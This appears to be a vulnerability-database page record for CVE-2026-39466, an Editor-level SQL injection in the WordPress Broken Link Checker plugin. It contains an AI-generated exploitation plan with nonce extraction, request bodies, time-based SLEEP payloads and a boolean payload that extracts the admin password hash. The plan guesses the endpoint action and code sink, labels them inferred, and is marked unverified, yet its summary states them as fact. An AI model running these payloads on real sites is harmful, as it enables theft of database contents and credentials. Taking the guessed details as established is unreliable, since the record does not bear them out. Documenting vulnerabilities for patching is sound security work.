[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fk8Gz2RG0VvBtSdx2LtPpO1cDzUTZLbUrNfuNGynOV5M":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-39466","broken-link-checker-authenticated-editor-sql-injection","Broken Link Checker \u003C= 2.4.7 - Authenticated (Editor+) SQL Injection","The Broken Link Checker plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.4.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with editor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","broken-link-checker",null,"\u003C=2.4.7","2.4.8","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-26 00:00:00","2026-04-15 21:22:49",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4399c3b5-9bd6-4334-82fd-6afa735f89e0?source=api-prod",21,[22,23,24,25,26,27,28,29],"assets\u002Fdist\u002Fcloud.asset.php","assets\u002Fdist\u002Fcloud.js","assets\u002Fdist\u002Flocal-nav.asset.php","assets\u002Fdist\u002Flocal-nav.js","assets\u002Fdist\u002Flocal-topnav.asset.php","assets\u002Fdist\u002Flocal-topnav.js","assets\u002Fdist\u002Flocal.asset.php","assets\u002Fdist\u002Flocal.js","researched",false,3,"This research plan focuses on exploiting a SQL injection vulnerability in **Broken Link Checker \u003C= 2.4.7**. The vulnerability resides in the \"Local\" link management component, where user-supplied sorting parameters are insufficiently sanitized before being used in a database query.\n\n### 1. Vulnerability Summary\nThe Broken Link Checker plugin fails to properly escape or use prepared statements for the `orderby` and `order` parameters within its AJAX-based link retrieval system. Specifically, in version 2.4.7, the \"Local\" link list functionality (likely handled by a data provider or query class) concatenates these parameters directly into an SQL `ORDER BY` clause. This allows an authenticated user with at least **Editor** permissions to inject arbitrary SQL, leading to time-based or boolean-based data extraction.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `blc_local_links_get` (Inferred from the new React UI structure in `assets\u002Fdist\u002Flocal.js`).\n*   **Vulnerable Parameter:** `params[orderby]` or `params[order]`.\n*   **Authentication Required:** Editor level or higher (Users with `edit_posts` capability).\n*   **Preconditions:** The plugin must be active, and at least some links must be present in the BLC database for the sorting logic to be triggered.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** An Editor user interacts with the \"Local\" links table in the WordPress admin (`Tools -> Broken Links`).\n2.  **AJAX Request:** The React frontend (`assets\u002Fdist\u002Flocal.js`) dispatches an AJAX request to `admin-ajax.php` with the action `blc_local_links_get`.\n3.  **Handler:** The plugin's AJAX handler receives the `params` array.\n4.  **Query Construction:** The handler (or a sub-component like `BLC_Links_Query`) builds a SQL query to fetch links. It extracts `params['orderby']` and `params['order']`.\n5.  **Sink:** The parameters are appended to the query string:\n    `$query .= \" ORDER BY \" . $params['orderby'] . \" \" . $params['order'];`\n6.  **Execution:** `$wpdb->get_results($query)` executes the unsanitized SQL.\n\n### 4. Nonce Acquisition Strategy\nThe AJAX endpoint requires a nonce for security. This nonce is localized by the plugin for its React UI.\n\n1.  **Identify Trigger:** The \"Local\" scripts are enqueued on the Broken Link Checker management page.\n2.  **Setup:** The agent must create a page or simply navigate to the existing plugin page.\n3.  **Navigation:** Navigate to `\u002Fwp-admin\u002Ftools.php?page=view-broken-links`.\n4.  **Extraction:** Use `browser_eval` to extract the nonce from the localized JavaScript object.\n    *   **Variable Name:** `blc_local_data` (Verbatim from typical BLC localization).\n    *   **Nonce Key:** `nonce`.\n    *   **Command:** `browser_eval(\"window.blc_local_data?.nonce\")`\n\n### 5. Exploitation Strategy\nThe goal is to trigger a time-based response to confirm the injection.\n\n1.  **Baseline Request:**\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Method:** POST\n    *   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n    *   **Body:** `action=blc_local_links_get&params[orderby]=ID&params[order]=ASC&_ajax_nonce=[NONCE]`\n2.  **Time-Based Payload (Injection into `orderby`):**\n    *   **Payload:** `(CASE WHEN (1=1) THEN ID ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))a) END)`\n    *   **URL-Encoded Payload:** `%28CASE%20WHEN%20%281%3D1%29%20THEN%20ID%20ELSE%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29%20END%29`\n3.  **Attack Request:**\n    *   **Body:** `action=blc_local_links_get&params[orderby]=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&_ajax_nonce=[NONCE]`\n4.  **Success Condition:** The request takes ~5 seconds longer than the baseline.\n\n### 6. Test Data Setup\n1.  **Create Editor User:**\n    `wp user create editor_attacker editor@example.com --role=editor --user_pass=password123`\n2.  **Force Link Scan:**\n    Ensure the plugin has some links to display.\n    `wp post create --post_title=\"Test Link\" --post_content='\u003Ca href=\"http:\u002F\u002Fgoogle.com\u002F404test\">Dead Link\u003C\u002Fa>' --post_status=publish`\n    Wait for BLC to pick up the link, or trigger a recheck if possible via CLI.\n\n### 7. Expected Results\n*   **Vulnerable Response:** The HTTP request to `admin-ajax.php` will be delayed by exactly the number of seconds specified in the `SLEEP()` function.\n*   **Response Content:** Usually a JSON object with `success: true` and link data, as the `ORDER BY` injection doesn't necessarily break the query logic if formatted as a subquery.\n\n### 8. Verification Steps\n1.  **Database Confirmation:** Use `wp db query` to check if the `wp_blc_links` table exists and contains data.\n2.  **Payload Refinement:** Extract the database version to confirm data exfiltration capability:\n    `params[orderby]=(CASE WHEN (VERSION() LIKE '8%') THEN SLEEP(5) ELSE ID END)`\n3.  **Check Logs:** Verify that no internal errors are generated that might be caught by `WP_DEBUG`, which would indicate a malformed query rather than successful injection.\n\n### 9. Alternative Approaches\n*   **Order Injection:** If `orderby` is whitelisted, try injecting into `params[order]`.\n    *   Payload: `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **Boolean-based Sorting:** If time-based is blocked\u002Funstable, use boolean-based sorting by changing the `orderby` column based on a subquery.\n    *   `params[orderby]=IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',ID,URL)`\n    *   Compare the order of IDs in the JSON response for two different conditions.\n*   **Grep for Sinks:** If `blc_local_links_get` is not the correct action, run:\n    `grep -rn \"wp_ajax_blc_\" wp-content\u002Fplugins\u002Fbroken-link-checker\u002F` to find all registered AJAX handlers for the plugin.","The Broken Link Checker plugin for WordPress is vulnerable to SQL Injection in versions up to 2.4.7 due to insufficient sanitization of the 'orderby' and 'order' parameters within the 'blc_local_links_get' AJAX action. Authenticated attackers with Editor-level permissions or higher can exploit this to append arbitrary SQL commands to existing queries, facilitating the extraction of sensitive information from the database.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.7\u002Fassets\u002Fdist\u002Fcloud.asset.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.8\u002Fassets\u002Fdist\u002Fcloud.asset.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.7\u002Fassets\u002Fdist\u002Fcloud.asset.php\t2025-11-20 07:46:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.8\u002Fassets\u002Fdist\u002Fcloud.asset.php\t2026-03-10 10:29:36.000000000 +0000\n@@ -1 +1 @@\n-\u003C?php return array('dependencies' => array('react', 'wp-element'), 'version' => '6dadba0db0861e07af3c');\n+\u003C?php return array('dependencies' => array('react', 'wp-element'), 'version' => 'e75f35295f3cb51ad7b0');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.7\u002Fassets\u002Fdist\u002Fcloud.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.8\u002Fassets\u002Fdist\u002Fcloud.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.7\u002Fassets\u002Fdist\u002Fcloud.js\t2025-11-20 07:46:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fbroken-link-checker\u002F2.4.8\u002Fassets\u002Fdist\u002Fcloud.js\t2026-03-10 10:29:36.000000000 +0000\n@@ -1,7 +1,7 @@\n-(()=>... (truncated)","An attacker with Editor-level access can exploit this vulnerability by first obtaining a valid AJAX nonce from the 'blc_local_data' object localized on the plugin's 'Local' links management page (Tools -> Broken Links). Using this nonce, the attacker sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the action 'blc_local_links_get'. The 'params[orderby]' or 'params[order]' parameters are then used to deliver a SQL injection payload, such as a time-based SLEEP() command within a subquery. If the server response is delayed by the specified time, the injection is successful, allowing for further extraction of database records.","gemini-3-flash-preview","2026-04-17 22:44:47","2026-04-17 22:45:19",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.4.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbroken-link-checker\u002Ftags\u002F2.4.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbroken-link-checker.2.4.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbroken-link-checker\u002Ftags\u002F2.4.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbroken-link-checker.2.4.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbroken-link-checker\u002Ftags"]